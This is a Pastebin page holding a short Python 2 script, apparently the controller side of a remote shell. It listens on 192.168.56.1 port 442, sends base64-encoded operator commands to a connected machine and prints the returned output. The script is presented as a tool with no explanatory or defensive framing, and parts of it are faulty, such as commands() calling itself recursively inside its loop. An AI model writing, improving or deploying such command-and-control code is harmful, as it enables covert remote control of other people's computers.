Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket, base64, time, sys
- def commands():
- while True:
- command = raw_input('[*] Command: ')
- if command == 'quit':
- s.close()
- sys.exit()
- encode = base64.encodestring(command)
- client.send(bytes(encode))
- en_data = client.recv(2048)
- decode = base64.decodestring(en_data)
- print decode
- commands()
- print('[*] Server Started!')
- time.sleep(1)
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.bind(('192.168.56.1', 442))
- s.listen(2)
- print('[*] Listening for incoming connections!')
- time.sleep(1)
- (client, (ip, port)) = s.accept()
- print('[*] Received Connection: ' + ip)
- commands()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement